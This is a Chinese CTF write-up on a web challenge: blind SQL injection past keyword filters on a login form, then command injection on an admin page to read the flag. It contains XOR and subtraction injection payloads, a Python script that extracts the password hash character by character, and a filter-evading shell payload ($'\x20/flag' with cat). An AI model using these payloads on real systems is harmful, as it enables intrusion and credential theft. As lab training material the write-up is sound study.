前言
学习ctf记录,CTF Web SQL 绕过过滤注入
一、首先看题
提 示: !,!=,=,+,-,^,%
描 述: 全都过滤了绝望吗?
这里可以看到提示,似乎将许多关键字给过滤了,访问题目网站后,看到一个login登陆页面,结合题目分析应该是一个sql注入+绕过。
二、解题步骤
1、通过burpsuite抓取登陆包:
POST /login.php HTTP/1.1
Host: 1.1.1.1:13669
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://114.67.246.176:13669/
Cookie: PHPSESSID=3mh59vn5365oe4uvi2h4l9cuf2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
uname=admin&passwd=admin
通过修改uname,passwd可以得到不同的提示。
当 uname=admin时,提示 password error。
由此可知用户名为:admin
2、通过bp爆破passwd字段
常用的弱口令都尝试了一遍解不出来。
3、使用bp对uname字段进行sql fuzz
被过滤的字符
空格
or
and
union
order
,
*
|
+
&
--
#
未被过滤字符
select
left
ascii
mid
^
=
>
<
-
%
通过被过滤的字符来看,
union 联合查询使用不了了
and or 运算符也使用不了(同时|| && 符号运算也不行)
通过面向百度解题,找到几个方法:
4、注入方法
1、异或注入(^)
异或运算规则:
1^1=0 0^0=0 0^1=1
1^1^1=0 1^1^0=0
构造payload:admin'^ascii(mid(database(),1,1)=98)^'0
(不过逗号,也被过滤了,就是不能用mid)
payload:uname=admin'^1^((ascii(substr((select(passwd))from(1)))=99))^''^'&passwd=admin
其他解法:
如果过滤了select和for
可以用
倒着看的第一位都是3,显然不行,无法截取出来,于是想到反转
先反转
REVERSE(MID((passwd)from(-%d))
再去最后一位
mid(REVERSE(MID((passwd)from(%-d)))from(-1))
在比较ASCII
ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1
2、通过sql语句弱比较进行注入
用SQL中的减法
admin'-(length(database())=3)-'
字符串强制类型转换时会将admin转化为0
则:0-1-0=-1 没有结果
当中间布尔型为0时 0-0-0=0
所有不以数字0开头的字符串都会被强制类型转换
结果都为0
payload:uname=admin'-(ascii(substr((passwd)from(1)))=1)-'&passwd=admin
tip:提示下这是的passwd字段是猜出来的(猜不出怎么办?自己想办法吧)
通过第二个方法进行注入,写个python脚本跑一下:
import requests
import time
url = "http://1.1.1.1:13669/login.php"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE'
}
#4dcc88f8f1bc05e7c2ad1a60288481a2
with requests.session() as s:
database = "passwd:"
s.keep_alive = False
s.adapters.DEFAULT_RETRIES = 5
for i in range(25,33):
for j in range(48,127):
sql = 'admin\'-(ascii(substr((select(passwd))from({0})))={1})-\''.format(i,j)
#print(sql)
data = {'uname':sql,'passwd':'admin'}
try:
res = s.post(url,data=data,timeout=5,headers=headers)
except:
#time.sleep(2)
res = s.post(url,data=data,timeout=5,headers=headers)
if 'username' in res.text:
database += chr(j)
print(database)
break
res.close()
跑完得到结果:passwd:4dcc88f8f1bc05e7c2ad1a60288481a2
somd5一下:bugkuctf
5、登陆后台
登陆后台,是一个执行系统命令的界面,但是许多关键字都被过滤了。
payload:ord=a=$'\x20/flag'&&cat$a
\x20转换成字符串就是空格
最后拿到flag!!!